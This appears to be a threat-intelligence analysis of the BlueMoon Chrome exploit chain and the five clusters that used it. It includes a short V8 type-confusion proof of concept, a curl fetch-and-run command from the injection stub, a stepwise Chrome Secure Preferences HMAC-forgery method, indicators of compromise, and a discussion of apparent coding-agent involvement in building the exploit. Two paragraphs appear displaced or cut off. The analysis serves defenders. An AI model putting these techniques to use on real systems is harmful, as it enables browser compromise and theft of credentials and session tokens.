A private researcher reported CVE-2026-85046 to Chromium on 4 August through Google's v8CTF programme. Someone else took the fix commit, weaponised it, and by 28 August was phishing US NGOs with it. Chrome stable did not ship the fix until 3 September. In the window between, at least five clusters, most with a suspected China nexus, started using the same kit.
On 9 September 2026 Volexity and Proofpoint published in parallel on an exploit chain both had watched in flight for over a week. Proofpoint tracks the kit as BlueMoon. It weaponises three vulnerabilities: a type confusion in the V8 JavaScript engine (CVE-2026-85046), a WebAssembly out-of-bounds write that escapes the V8 sandbox (CVE-2026-87491), and a heap overflow in Windows Advanced Local Procedure Call (CVE-2026-85880) that turns a sandboxed renderer into a code-injection primitive against the browser process.
One term needs pinning down before anything else, because the vendors and the headlines use it loosely. A patch-gap bug is one whose fix is already public in the upstream open-source tree but has not yet reached the released, downstream product: it is an n-day at the source level (the diff is there for anyone to read) and, in practice, a zero-day against every installed copy of the shipped browser, because no patched build exists yet. Both V8 bugs in BlueMoon are of this kind. Proofpoint states plainly that "both V8 vulnerabilities were 'patch-gap' zero-days at the time of the observed activity", already fixed in the public upstream Chromium source, and Volexity says the same for the JungleBamboo variant. The V8 sort/fill fix is the openly visible v8/v8 commit e0562d87 on 7 August. The WebAssembly OOB fix ties to Chromium issue 543557673, which is still access-controlled to anonymous readers at the time of writing; we were not able to locate the upstream commit ourselves, but two vendors working with GTIG describe it as a patch-gap fix and we defer to that. The ALPC LPE is different: a classical zero-day, undisclosed anywhere until Patch Tuesday. So BlueMoon is two patch-gap bugs chained to one classical zero-day, and the moral of the post is that the patch-gap category is now doing most of the work.
By the time the reports went public, five clusters had adopted the kit and were burning it against separate target sets: TA412 (Volexity's JungleBamboo, publicly known as APT31 or Violet Typhoon) against US NGOs, mining and physical-commodities firms; UTA0560 against a different set of NGOs; UNK_LateNight against US aerospace with ShadowPad; UNK_DoubleCheck against a Vietnamese manufacturer with a Rust loader; and UNK_QuietRacket against government, consulting and finance targets in Southeast Asia.
Five clusters, one exploit chain. Volexity documents the UTA0560 and JungleBamboo builds as byte-for-byte identical exploit code; Proofpoint observed further variants across the other three clusters that repackage the same core (some strip comments, some obfuscate the JavaScript loader, some fold the components into a single file), consistent with a shared source rather than one operator running under many names.
This post walks the chain, the five post-exploitation branches, the Secure Preferences bypass that lets a browser extension survive as the whole payload, and where a SOC can still see something. It also spends a section on a detail neither vendor buries but neither headlines: the artefacts inside the kit that are consistent with AI-assisted development, though not proof of it.
The 27-day patch gap
For the V8 half of the chain, the story is not really about a zero-day in the classical sense. It is about a public commit sitting in the open v8/v8 repository for twenty-seven days with nobody pushing an update to end users.
Salvatore Gulizia (Serotav) reported the V8 bug on 4 August 2026 through Google's v8CTF programme. The Chromium fix, a small refusal to inline Array.prototype.sort when the receiver's element kinds disagree, was committed on 7 August. From that moment the diff was public, and anyone who wanted to look could look. Chrome stable did not ship a build carrying the fix until Chrome 152.0.7977.82 on 3 September, twenty-seven days later.
Serotav's own writeup of the sort/fill confusion was published on 28 August 2026. The reading "the writeup gave the developer the PoC" is not supported by the build tags Volexity extracted from the exploit source. The 27 August comment refers to post-LPE behaviour, which means the V8 primitive was already producing arbitrary read/write and the developer was working on the kernel-side stage above it, a day before the writeup went public. On the visible evidence, then, the sort/fill primitive was in hand before Serotav's writeup, and the developer built it by reverse-engineering the 7 August Chromium commit rather than from a published proof-of-concept.
Volexity found timestamps in the exploit's own source comments dated 2026-08-27, b20260828r, b20260828t, b20260829a. TA412 fired the kit for the first time on 28 August. Because the upstream fix was public but the downstream stable release was not, the vulnerability was an n-day at the source level and, in effect, a zero-day against every Chrome installation on Earth.
Two consequences follow. One is that a Chrome CVE labelled "reported by a private researcher" is not automatically a safe assumption of narrow knowledge. From the moment the fix is committed upstream, everybody willing to reverse-engineer a diff is racing the auto-update train. The other is that the shape of that race may be changing, because the reverse-engineering step is arguably cheaper now than it used to be. That is picked up further down.
Five clusters, one kit
Volexity's headline is that two distinct actors, UTA0560 and JungleBamboo, deployed the same chain on the same day (1 September) with byte-for-byte identical exploit code and different post-exploitation malware. Proofpoint extends the picture: it watched TA412 (its name for the group Volexity calls JungleBamboo) turn the kit on four days earlier, on 28 August, and tracked three additional clusters over the following week. The two reports are consistent where they overlap.
| Cluster | Aliases | First seen | Targets | Final payload |
|---|---|---|---|---|
| TA412 | JungleBamboo, APT31, Violet Typhoon, Zirconium, TIDE CASTLE | 28 Aug 2026 | US NGOs, mining, commodities trading | LONGTALE / GemStone Chrome extension |
| UTA0560 | – | 1 Sep 2026 | US NGOs with donation-form lures | GRIMWEDGE JScript backdoor |
| UNK_LateNight | – | 2 Sep 2026 | US aerospace with B2B/RFQ lures | ShadowPad |
| UNK_DoubleCheck | – | 2 Sep 2026 | Vietnamese manufacturing | Rust loader → DLL sideload |
| UNK_QuietRacket | – | 3 Sep 2026 | Government, consulting, finance in ID and SG | Cloudflare Workers + Google DoH loader |
Attribution for TA412 is not novel. The group was indicted by the US Department of Justice in 2024 for economic espionage on behalf of China's Ministry of State Security, operating through the Wuhan XRZ front company. Their abuse of Dropbox as a C2 channel was the subject of our earlier post on Judgment Panda; the LONGTALE extension is a lateral evolution of the same operating philosophy: keep the destination reputable so the traffic never earns a block. Volexity ties TA412's September infrastructure (msbenefit[.]com, gitprogram[.]com) to its known registration patterns; Proofpoint adds secboxes[.]com from earlier August activity. UTA0560 is the newer of the pair and is linked back to donation-form phishing observed in March 2026 through three concrete indicators: the sender identity ircribbin77[@]hotmail[.]com reused across campaigns, the IP 206.166.251[.]164 that hosted the March PowerShell staging and the September cloud.shinewrist[.]net content, and a per-host beacon pattern that mirrors the earlier /%COMPUTERNAME%-%USERNAME%.ps1 shape.
Whether the clusters share a common supplier is unresolved. Volexity assesses with low confidence that the chain was sold or otherwise transferred to different end users. Proofpoint says the pattern is comparable to what preceded the Microsoft Exchange and SharePoint waves earlier in the decade, and speculates about "a shared commercial procurement chain or digital quartermaster." Both stop short of naming one. The evidence in hand is that the exploit core is the same, the payload compilers differ, and the campaigns started within days of each other, which is consistent with a shared supplier and equally with a leaked kit. Neither vendor resolves it, and neither will this post.
Delivery: reflected XSS and dual targeting
Neither of the two best-documented actors tried to be clever with the lure. Both leaned on themes their targets would already open.
UTA0560 sent donation-themed emails to NGO staff. Every observed lure contained a link not to attacker infrastructure but to a legitimate US-based university website, exploiting a reflected cross-site scripting (XSS) vulnerability on that domain to redirect the visitor onward. From the perspective of a suspicious user hovering over the URL, and from that of most mail-security link filters, the destination is a real .edu. Only after the click does the browser end up at hxxps://cloud.shinewrist[.]net/<removed>/Files1.html. This is the reason to keep an eye on reflected XSS on your own perimeter even when it looks like "just" a defacement primitive: to a targeted phishing operation it is a laundering step for the URL.
The first JungleBamboo wave Volexity observed, on 1 September, sent what looked like generic spam aimed simultaneously at a target's work address and their personal address in the same message. Proofpoint had already seen TA412 (its name for JungleBamboo) firing the kit on 28 August, so 1 September is the first Volexity-observed wave, not TA412's first campaign. Volexity notes this is uncommon for generic spam and reads it as espionage-motivated dual targeting, on the logic that a lure landing on someone's phone as well as their laptop is more likely to earn a click. The second wave, on 2 September, dropped the spam mask for more tailored themes. TA412's later campaigns leaned on invented students seeking internships and outreach for the AAS-in-Asia 2026 academic conference. UNK_LateNight impersonated US aerospace primes for B2B and RFQ threads. UNK_QuietRacket spoofed Indonesian government senders for events such as the Indo Startup Expo and WCCE 2026. Each cluster's lures fit its usual operating theatre.
In every observed campaign the exploit-hosting infrastructure was registered on the same day as the campaign, or the day before. Proofpoint reads this as evidence of a rushed deployment ahead of the anticipated patch. It is also useful for defenders: a domain registered less than 48 hours before a click, resolving to a Cloudflare Worker or Tunnel, is a live signal.
Anatomy of the chain
Once the click lands, the exploit itself is the same across all five actors. The first page served is a small HTML document that displays a decoy image (a donation form for UTA0560, a themed landing page for the others) and loads an obfuscated JavaScript loader:
<!DOCTYPE html>
<html>
<script src="hxxps://cloud.shinewrist[.]net/<removed>/react.min.js"></script>
<body>
<img src="./<REDACTED>DonationForm.PNG">
</body>
</html>
The loader (react.min.js in UTA0560's build, renamed across the other clusters) gates on User-Agent and OS. If the client is anything other than Chrome on Windows, the loader stops. Otherwise it constructs the exploit URL from an embedded CONFIG_URL, appends the payload location as an exeurl query parameter, and injects the destination as a hidden iframe. The victim keeps looking at the decoy while the exploit runs behind it.
The exploit itself is served by page.html, which is unusual for how much of the development harness it still carries. Volexity documents thirteen URL parameters, several of which read more like a QA build than production code:
| Parameter | Purpose |
|---|---|
mode | Must be payload for the exploit to run; probe is unimplemented and throws. |
exeurl | URL of the binary to download after exploitation, threaded into the injection stub's command line. Payload can be swapped without touching the exploit. |
beacon | Base URL for telemetry; each phase fires a fetch to it. Not used in delivered URLs. |
dry, runpayload | Run the exploit logic without deploying shellcode / skip the final payload step. |
retry, worker | Disable the sessionStorage-backed retry (five attempts on recoverable failures) or force main-thread execution. |
force2, forcepp | Force p2 or pp to execute regardless of the previous stage's result. |
step, p2step, stopAfter | Named-phase breakpoints inside pp injection, the LPE, or the top-level chain. Debugging. |
map | Override the V8 heap MAP_WORD constant; without it the exploit derives the value at runtime through a memory leak, which gives it resilience across Chrome 151.x point releases. |
The exploit page holds its code inert inside two <script type="text/plain"> blocks so the browser parses them as data. It concatenates them, wraps them in a Blob, and launches the result as a dedicated Web Worker. Running on a Worker rather than the main thread means the visible tab does not crash if the exploit misfires; the retry counter is persisted in sessionStorage under the key v8ctf_exp_attempt. Five attempts on any recoverable failure, silent to the user.
Inside the worker sit three Base64-encoded binary payloads: p1, p2, and pp. They execute in order, each gated on the previous.
OpenProcess for full access, an executable VirtualAllocEx, and a CreateRemoteThread, and it does so after a low-integrity renderer token has suddenly acquired SeDebugPrivilege. Those are observable: Sysmon event 10 (ProcessAccess) with a suspicious granted-access mask, event 8 (CreateRemoteThread) into the browser process, and any token-privilege telemetry your EDR exposes will all fire on a well-tuned sensor. What is fair to say is that the cheapest, most reliable signal is the final process tree; the earlier steps are catchable but require better-tuned, memory- and token-aware telemetry that many SOCs do not run by default.
The p1 DLL is reflectively loaded position-independent shellcode. It builds a JSON profile of the host: NT version and build, kernelbase.dll build, current process token integrity level, AppContainer status, CPUID features, hypervisor detection. All anti-analysis checks are passive: sandbox and debugger indicators land in the JSON, and the DLL never acts on them. The calling JavaScript reads three fields and decides whether to attempt the LPE.
p2 only runs if the process is not already elevated and the Windows build sits in a specific set: 17763 (Windows 10 1809 / Server 2019), 19041–19045 (Windows 10 2004 through 22H2), 20348 (Server 2022), and 22000 (Windows 11 21H2 initial release). Anything above 22000 is rejected. Microsoft's advisory itself only lists Windows 10, Server 2016 through 2022 and older Server 2012 variants as affected; it names no Windows 11 build at all. So on Windows 11 22H2 and later, the LPE half of the chain does not run and Microsoft ships no KB for it. The attacker still gets native code execution inside the renderer process on those hosts through the V8 bugs; what they do not get is a way out of the renderer sandbox, because the ALPC LPE (which the injection stub needs, to enable SeDebugPrivilege in the renderer token) never fires.
pp is a very small injection stub. It finds the browser's parent process, opens it with full access, allocates executable memory in it, writes a CreateProcessA call and a command line, and starts a remote thread. The stub runs outside the renderer sandbox because it executes inside the browser process, and the default command it launches is:
cmd.exe /c curl -f -sS -o "%TEMP%\msgbox.exe" "<exeurl>" && "%TEMP%\msgbox.exe"
The exploit itself stops at this point: it hands a downloaded PE to the OS and is done. Three of the five clusters take the default path unchanged and simply vary the filename (msgbox.exe for UNK_LateNight, ChromeUpdate.exe for TA412). The other two rewrite the finish, and that matters for detection, so it is worth being precise rather than saying "everything downstream is a normal PE from %TEMP%" as a first pass would. The details are in the divergence section below; the short version is that one cluster changed the download target directory and another modified the injection shellcode outright.
CVE-2026-85046: sort meets fill
The V8 bug is easier to explain than it sounds, and easier still if you accept up front that JavaScript engines optimise for the shapes of the data they see. Serotav's own writeup is the primary source; what follows is a plain-language walk of it.
V8 tracks an "elements kind" for every array: whether it holds only small integers (PACKED_SMI_ELEMENTS), only tagged objects (PACKED_ELEMENTS), doubles, and so on. Arrays are supposed to move from more specialised kinds to more general ones over their lifetime, never the other way. So a PACKED_SMI array that receives an object becomes PACKED_ELEMENTS, and that is a one-way ticket.
One-way, with one exception. Array.prototype.fill() is allowed to migrate the elements kind backwards, because it replaces every element and there is no old value to be inconsistent with the new specialisation.
V8's two optimising compilers, Maglev and TurboFan, share a fast path for Array.prototype.sort() that inlines an insertion sort directly into the graph, skipping the builtin-to-JS transition on every comparator call. Serotav's writeup confirms the bug was present in both compilers and focuses on Maglev; Proofpoint's writeup describes the exploit as targeting TurboFan. Either compiler works: they made the same optimisation assumption. The inlined path is only correct when the receiver's map is one of a small set of stable kinds. The problem, in either implementation, is that the check performed after the comparator runs, before the sorted temp array is copied back, verifies that the current map is one of the maps the compiler was trained on, not that the map is the same as before the loop. Any map in the set is accepted.
Combine those two facts. Train the compiler on both PACKED_SMI and PACKED arrays. Sort a PACKED array. Inside the comparator, call fill(0), which migrates the receiver from PACKED back down to PACKED_SMI. The post-loop map check accepts the new map because it is still in the set. Sort's copy-back then writes the temp array, which contains tagged object pointers, into a receiver whose map now says every slot is a Smi.
function confuse(arr){
function compare(){ arr.fill(0); return 0; }
arr.sort(compare);
}
for (let i=0; i<1000; i++){
confuse([6,9,4,2,0]);
confuse([{},{},{}]);
}
let bad = [{},{}];
confuse(bad);
console.log(bad); // prints heap offsets, not [object Object]
console.log(bad[0]); // still returns the object
From there the exploit derives the two primitives every V8 exploit needs. addrof falls out of the observation above: any code path that trusts the map treats the tagged pointers as Smis, printing their heap offsets. fakeobj requires one more trick, which Serotav documents as a write-barrier skip via Array.prototype.unshift: because the array claims to hold Smis, the write barrier is not emitted when a tagged pointer shifts through it, so a controlled pointer lands in an old-space object without the generational bookkeeping. Two primitives, arbitrary read/write inside V8's heap cage, and the type confusion is done.
The upstream fix, commit e0562d87, refuses to inline sort when the trained set contains more than one distinct elements kind. Small, obviously correct, and short enough that an attentive reader could work out what it was defending against in an afternoon. Twenty-seven days was a long time to leave that hanging.
CVE-2026-87491: escaping the V8 cage
Arbitrary read/write inside V8's heap cage does not, on its own, let you run native code. V8's sandbox is designed to contain exactly this class of primitive: even with full control over the cage, the code the CPU executes still lives outside it. Escaping requires a second bug that turns cage-relative writes into a native-code write.
That bug is CVE-2026-87491, an out-of-bounds write in V8's WebAssembly implementation. It was reported to Chromium on 6 August (two days after the sort bug), fixed upstream before the campaigns ran (both vendors classify it, alongside the sort/fill bug, as a patch-gap bug already in the public Chromium source at the time of the observed activity), and released to stable in Chrome 153.0.8010.36 on 8 September. Chromium issue 543557673 remained access-controlled at the time of writing, so we have not been able to identify the exact upstream commit ourselves; the vendors, working with GTIG, did. Proofpoint documents the exploitation approach: the attacker corrupts WebAssembly module metadata to redirect a compiled function-body pointer to attacker-controlled memory, then copies p1's shellcode into that slot. When the compiled function next runs, the CPU executes the shellcode. From that point everything runs as native code inside the Chrome renderer process: outside the V8 sandbox but still inside the Chromium process sandbox.
Two bugs, two patch releases, and a smaller gap in between. CVE-2026-85046 was fixed in Chrome 152 on 3 September; CVE-2026-87491 in Chrome 153 five days later. Google marked both as exploited in the wild. It is worth being precise about what the 3–8 September window did and did not mean, because it is easy to state wrongly: on Chrome 152, BlueMoon's own entry vector (the sort type confusion) was closed, so BlueMoon specifically no longer worked. What remained open on 152 was the WebAssembly escape, which is only dangerous if paired with some other V8 read/write primitive. In other words, 152 stopped this kit but left the second half of the chain reusable by any future V8 memory-corruption bug until 153 shipped. Systems that took 152 but not 153 were not exposed to BlueMoon; they were exposed to the general risk of an unpatched sandbox escape.
CVE-2026-85880: the ALPC LPE
The kernel exploit is CVE-2026-85880, a heap-based buffer overflow in Windows Advanced Local Procedure Call. Microsoft's advisory describes it as an EoP that allows an authorised local attacker to elevate privileges; NVD assigns CWE-122. Volexity identifies the specific function as RtlpCreateServerAcl, the internal helper that builds the access-control list for an ALPC server port; Proofpoint characterises the approach as ALPC combined with the Windows Notification Facility. Both descriptions are consistent: a controllable heap overflow reachable from a low-integrity Chrome renderer over an ordinary ALPC connection.
The p2 DLL uses that primitive to grant kernel read/write to itself, then flips SeDebugPrivilege on the renderer's token. That is enough to open the browser process from the sandboxed renderer, which is what the next stage needs. Proofpoint notes that the DLL's compilation timestamp is from 2025 and does not appear forged, so this piece is probably an existing capability repackaged into BlueMoon rather than developed for it.
Notably, the p2 build gate is narrower than the advisory. Microsoft covers Windows 10 1607 (14393) and Windows 10 1903/1909 (18362/18363), which the exploit does not attempt against. The population p2 actually reaches is therefore an odd cross-section: builds that were still receiving Chrome auto-updates on the 151.x branch (which is what the exploit was written against, per Volexity's MAP_WORD resilience note), and old enough to be on Extended Security Updates or unsupported entirely. Windows 11 21H2 stopped receiving mainstream support in 2023 (consumer) and 2024 (enterprise); Windows 10 22H2 mainstream support ended in October 2025, with a consumer ESU running one year through October 2026 and an organisational ESU available in yearly increments through October 2028. Modernised Windows 11 22H2+ fleets still catch the V8 exploits, but not the LPE.
Microsoft's 8 September Patch Tuesday shipped kernel fixes across the currently supported affected fleet: KB5122878 (Windows 10 22H2 and 21H2), KB5122876 (Windows 10 1809 / Server 2019), KB5122882 (Server 2022) and KB5123099 (1607 / Server 2016). No public KB is listed for Windows 11 21H2 build 22000, which is out of support. CISA added the CVE to the KEV catalog the same day, with a federal action-due date of 22 September.
Tells of AI-assisted development
Proofpoint spends a section on this and Volexity closes on it, so it is worth pausing, and worth being disciplined about, because it is the easiest part of the story to overclaim. The exploit is not obviously AI-generated in the way of a script-kiddie tool. It carries a set of artefacts consistent with development through a language-model coding agent (artefacts you would ordinarily strip from a production kit), but none of them is proof.
- A comment in
page.htmlreferencesdocs/v8-ctf-chrome-stage4-handover.md, the kind of handover file a coding agent writes between sessions when its context fills up. - Verbose logging is left in, along with a line reading "please send the full log back (copy it from the page)," which fits a human directing a model more than a human directing a colleague.
- Comment blocks document successive debugging iterations by round number and build tag (
b20260828r,b20260828t,b20260829a), reading like an agent journaling its own attempts. - The retry counter is named
v8ctf_exp_attempt, and log headings beginv8-ctf chrome. v8CTF is Google's own V8 reward programme, which Serotav flagged the sort bug through. The naming is consistent with a developer participating in or aware of that programme, or with a developer framing the exploit as a v8CTF-shaped submission for their own workflow (or for a coding-agent prompt). None of those forks the story on their own.
None of this proves AI involvement. Two simpler explanations sit alongside the coding-agent hypothesis and are not addressed by either Volexity or Proofpoint. First, the developer might have been aware of v8CTF as a target frame independently of any LLM; it is a public Google programme with a small community around it. Second, the artefacts common to a coding-agent workflow (handover markdown, verbose logs, iterative rounds by build tag) are also common to a solo developer writing meticulously against a moving target, which is what the three-week development window rewards. The story that fits the evidence is "somebody who worked fast, methodically, and left their notes in." The story that also fits is "somebody who used a coding agent." The evidence does not choose between them.
And it is worth resisting the inference some coverage reaches for: that "TA412 was not previously known for V8 exploitation, therefore a model must have levelled them up." If there is a shared supplier, as both vendors think is plausible, then whoever built the kit is not necessarily TA412, and TA412's own track record says nothing about the developer's capability. The turnaround is fast for whoever built it; attributing that speed to a specific named cluster's newfound skill is not supported.
What the artefacts do match is a pattern Google's threat-intelligence group has documented over the past year: adversaries reaching for coding agents to compress the time from public patch to working exploit. Volexity says as much in its conclusion. The wider consequence is the point worth internalising: if the marginal cost of turning a public Chromium patch into a working exploit is falling, patch-gap windows stop being a curiosity and become a reliable path in. Volexity puts it plainly: patch-gap vulnerabilities create an additional window for threat actors, and that makes them a greater risk, not a lesser one.
Where the payloads diverge
Two kinds of divergence. Three of the five clusters use the exeurl parameter as designed, handing a different binary to the same injection stub without touching the exploit. The other two changed the finish itself. UNK_DoubleCheck rewrote the injection command to fetch four files (wint.exe, calibre-launcher.dll, 85rY.dat and SysPr.prx; the chain RC4-decrypts SysPr.prx to an in-memory Rust executable, and the roles of the other three are not spelled out in either report) into %APPDATA%\Microsoft\Windows\ instead of %TEMP%. UNK_QuietRacket went further and modified the pp shellcode itself to download and execute a DLL-sideloading pair rather than a single binary via curl. Detection rules anchored on %TEMP%\msgbox.exe, or on a cmd /c curl command line, miss both.
%TEMP%) and change only the exeurl; UNK_DoubleCheck rewrote the download command to drop four files into %APPDATA%\Microsoft\Windows\, and UNK_QuietRacket modified the pp shellcode outright. Everything to the right of the injection is separate malware families, distinct C2 topologies and distinct persistence. Together with the identical exploit core, that is the strongest single argument for a shared exploit source rather than one operator running under many names. (It is not, on its own, an argument for a sale; a leak produces the same pattern.)
GRIMWEDGE (UTA0560)
Once msgbox.exe lands, it is a small resource dropper. It extracts a legitimate Windows EXE and a malicious wsc.dll beside it; Volexity's YARA identifies the legitimate binary as part of an AVG DLL-sideloading chain. On execution wsc.dll registers a scheduled task named Windows Scheduled System that re-launches the sideloading chain every five minutes, then beacons to hxxps://cloud[.]shinewrist[.]net/<removed>/%COMPUTERNAME%.txt until the operator returns an MSI for that specific host.
The MSI is 408 KB, built with Advanced Installer 14.5.2. Its custom actions execute an obfuscated JScript that enters an infinite HTTP-POST loop against hxxps://ocr[.]opusaccel[.]top, sending the victim's domain, username and previous-command output tab-delimited, and treating responses as JScript to eval(). The backdoor extracted from that channel, GRIMWEDGE, is under 250 lines of JScript hosted entirely inside the msiexec.exe process. Ten commands:
| ID | Command | Capability |
|---|---|---|
| 0 | Info | OS build, hotfixes, AV, domain/user/host, IP, MAC, drives, installed software |
| 1 | Dir | Directory listing with timestamps and sizes |
| 2–3 | Mkdir / Del | Create directory, delete file |
| 4–5 | Tasklist / Taskkill | Enumerate processes; terminate by PID |
| 6 | Type | Read file (up to 5 MB) |
| 7 | Run | Execute a command with a hidden window |
| 8–9 | Upload (chunk / commit) | Receive Base64 chunks; save the assembled buffer |
No built-in persistence beyond the scheduled task, no lateral movement, no credential dumping. GRIMWEDGE is a foothold, not an implant: enough surface to survey, exfiltrate, and stage bigger tools via Run and Upload. UTA0560 recompiled wsc.dll the day after their first wave (2 September), changing the task's action from a passive replay of a cached MSI to an active re-execution of the whole sideloading chain, the kind of change an operator makes when something is not working the way they wanted.
LONGTALE / GemStone (TA412)
TA412 does not bother with a full backdoor. Their msgbox.exe is a Chrome-extension installer Volexity calls SUPERSTOMP: it extracts a ZIP to C:\Users\Public\stomp_ext, iterates over every installed Chromium-family browser (Chrome, Edge, Brave, Vivaldi), kills the running process, tampers its Secure Preferences file, and relaunches with --restore-last-session so the user does not notice. The extension is what Volexity tracks as LONGTALE and Proofpoint calls GemStone. One extension ID: ckiknalbeplpcpofpnabcnhjcegckfei. It masquerades as a Google Gemini AI helper.
LONGTALE's manifest requests the permissions you would expect from a genuine AI companion and a few you would not: cookies, storage, tabs, scripting, activeTab, downloads, webNavigation, alarms. A background.js service worker maintains state under two keys: kc_state for internal telemetry and portal_sync_config for C2. Chrome alarms fire at a 30-second or 60-minute cadence, depending on a flag the server can flip.
On first run the extension resolves the victim's public IP against hxxps://api.ipify[.]org?format=json or hxxps://ipinfo[.]io/json, builds an identifier of the form gemini-<first 12 chars of extension ID>-<public IP>, and POSTs it to /api/extensions/register on the Cloudflare Worker that serves as C2. The server returns an ID and token used to authenticate subsequent requests.
| Endpoint | Purpose |
|---|---|
POST /api/extensions/register | Register victim, obtain ID and token |
GET /api/flag | Poll the 30s-vs-60m cadence flag |
POST /api/extension/{id}/heartbeat | Verify registration is current |
POST /api/extension/{id}/ingest | Bulk exfil: keystrokes, cookies, storage, history, keyword hits, tab metadata |
POST /api/extension/{id}/screenshots | Upload keyword-triggered JPEG screenshots |
GET /api/extension/{id}/commands | Poll queued commands |
POST /api/extension/{id}/commands/{commandId}/ack | Return each command's result |
Fourteen remote commands cover configuration and one-off collection: PING, GET_STATE, TOGGLE_RECORDING, CLEAR, EXPORT, CAPTURE_COOKIES, CAPTURE_STORAGE, CAPTURE_SESSION, INJECT, SET_KEYWORDS, GET_KEYWORDS, SCREENSHOT_NOW, HTTP_REQUEST, FETCH_HISTORY. The keylogger listens for keydown, input, change and paste across every eligible tab, with no suppression for password fields. A keyword monitor watches the DOM via MutationObservers and page-load polls; a match triggers a screenshot of the visible viewport. Every 30 seconds by default, the extension POSTs the last 500 keystroke records, all cookies, all local- and session-storage entries, the last 100 navigation events, the last 50 HTTP_REQUEST outputs, the keyword list, and current tab metadata.
Volexity's observation is worth reading twice: LONGTALE has no remote-code-execution command. TA412 built a payload that cannot execute arbitrary code on the endpoint and shipped it anyway. In their operating context that is not a limitation. Cookies, session tokens and typed credentials are the material they need for onward access, and an extension is much harder to spot than a PE.
ShadowPad (UNK_LateNight)
UNK_LateNight aimed the same chain at US aerospace primes with B2B/RFQ lures across delivery domains registered a day or two before each campaign (airproducts[.]ink, precipart[.]ink, rocketlabusa[.]ink, spectrolab[.]fit, and others). The downloaded msgbox.exe drops a DLL-sideloading pair with an AES-encrypted A08744D2.tmp; the DLL decrypts the TMP and injects the payload into one of several hard-coded targets, wmpnetwk.exe among them. Persistence is a scheduled task named EdgeCore_AutoUpdate that reruns the pair periodically, with the payload also written to the registry as a backup.
The payload is ShadowPad. It unhooks 20 network-monitoring functions to bypass EDR, steals Firefox profile data, sniffs traffic on the wire, and beacons over HTTPS to ms.checrity[.]com with rotating User-Agent strings; fallback C2 is a hard-coded IP, 79.133.56[.]90. This ShadowPad chain is close to prior AhnLab and SentinelOne descriptions, an existing capability plugged into a new front end.
UNK_DoubleCheck and UNK_QuietRacket
UNK_DoubleCheck targeted a single Vietnamese manufacturer via a compromised Southeast Asian government mailbox, with an unusual vaccination-appointment lure. Their variant of the exploit page is the only one Proofpoint observed with obfuscation on the loader itself. After exploitation, the rewritten command fetches four files (wint.exe, calibre-launcher.dll, 85rY.dat, SysPr.prx) from homepage.brianwilli[.]com into %APPDATA%\Microsoft\Windows\. The DLL RC4-decrypts SysPr.prx to a Rust executable that loads in memory, then reaches a Cloudflare R2 bucket (1a062f4982564d6d19a76884ce8bcbb6.r2.cloudflarestorage[.]com) for a second DLL-sideloading pair whose eventual C2 lives on fracons[.]com. Persistence layers up: a COM hijack under HKCU\SOFTWARE\Classes\CLSID\{5D4CFCB7-222C-4CA3-96B6-1F8195FBBB4B}\InprocServer32, plus scheduled tasks named MicrosoftEdgeUpdatesTaskMachine and Avpcheckup that both masquerade as vendor updater jobs. A single-instance mutex Dataupcheckinfo is the memory-side artefact.
UNK_QuietRacket used BlueMoon to seed a bespoke DoH-driven implant against ID/SG targets, and is the cluster that modified the pp shellcode to fetch a DLL-sideloading pair directly rather than a single PE. The stage-two loader resolves its next C2 by querying Google's DNS-over-HTTPS for a TXT record on dns.elixnovorem[.]com, ChaCha20-decrypts the result to a Cloudflare Workers URL, fetches an HTML page from it, ChaCha20-decrypts the body again, and loads the resulting .NET assembly in memory. The .NET blob's only observed job was to write a scheduled task named GeForceService that reruns the sideloading pair from C:\ProgramData\. C2 resolution rides Google DoH and the eventual destinations are Cloudflare Workers, so the C2 lookups themselves surface no attacker-registered domain in the netflow; the delivery domains (joinmacket[.]com, openlumakora[.]com) are attacker-registered and do resolve normally.
The Secure Preferences bypass
Of the five branches, the Chrome-extension path is the one worth understanding in detail. Extension-based malware sits in a defensive blind spot at most organisations: EDR tends to miss it, application control does not cover it, and most policy work has historically focused on stopping users installing extensions through the Web Store, not on stopping a local process writing extensions into the browser's own preferences file.
Chromium tried to close that gap. Every extension in a profile has a matching HMAC in Secure Preferences under a protection.macs tree. The HMAC is computed over a fixed seed baked into the browser binary, the logged-in user's Windows SID, and the JSON value being protected. A master checksum, super_mac, covers the whole set. On startup Chrome recomputes each HMAC; a mismatch causes it to revert the change or flag the extension as externally installed. That mechanism was hardened twice in the last year: per-preference _encrypted_hash entries in November 2025, and a whole-set super_encrypted_hash in June 2026.
SUPERSTOMP does not attack the crypto. It removes it.
- Copy the existing Secure Preferences file, working from a copy to avoid a partial write.
- Strip the encrypted authenticators: every per-preference
_encrypted_hash, plussuper_encrypted_hash. - Add the malicious extension to the profile's extension list and enable the developer-mode flag that lets an unpacked extension load from disk.
- Regenerate the legacy HMACs, using the same fixed seed, Windows SID and JSON values the browser uses, and recompute
super_mac. - Swap the tampered copy back over the original.
When Chrome next starts, it looks for the encrypted authenticators, does not find them, falls back to the legacy HMACs, finds them valid (they were forged over exactly the inputs Chrome would have used), and accepts the profile. It then treats the profile as one needing migration and regenerates fresh _encrypted_hash values over the modified state, so the malicious extension ends up authenticated under both schemes.
Blocklisting the single extension ID ckiknalbeplpcpofpnabcnhjcegckfei is a fragile control on its own. For an unpacked extension, Chrome derives the ID from a public-key hash: if the manifest contains an explicit key field the ID is stable no matter where the folder lives, but if the manifest omits key the ID is derived from the extension's absolute path, and moving the folder moves the ID. A LONGTALE build without a hard key is one C:\Users\Public\stomp_ext2 away from a fresh ID.
The durable controls are policy-based: an allowlist posture via ExtensionInstallAllowlist / ExtensionSettings with installation_mode: blocked as the default, plus a blocked_permissions list that at minimum denies cookies + scripting + alarms outside a signed allowlist. Combined with ExtensionDeveloperModeSettings disabled for standard users, the SUPERSTOMP path fails at the point Chrome loads the tampered profile: the extension is present in the JSON but the policy layer refuses to enable it. That claim is the one worth testing on your own build (see the emulation section) before publishing it as a control.
Mapping it to MITRE ATT&CK
Mapped against the current enterprise matrix. One note to avoid a common mistake: exploiting a browser bug on a lure page is T1203 (Exploitation for Client Execution), and kernel EoP is T1068. Neither is a sub-technique of the other. The reflected XSS on the university site is best captured as T1189 (Drive-by Compromise) with T1608.005 (Stage Capabilities: Link Target) for the poisoned redirector, since the operator is staging their own link inside somebody else's content.
| Stage | Technique | ATT&CK ID |
|---|---|---|
| Spear-phishing with a link | Phishing: Spearphishing Link | T1566.002 |
| Reflected XSS on a legitimate site to launder the redirect | Drive-by Compromise; Stage Capabilities: Link Target | T1189; T1608.005 |
| Cloudflare Workers and Tunnels as delivery/C2 | Acquire Infrastructure: Serverless; Web Service | T1583.007; T1102 |
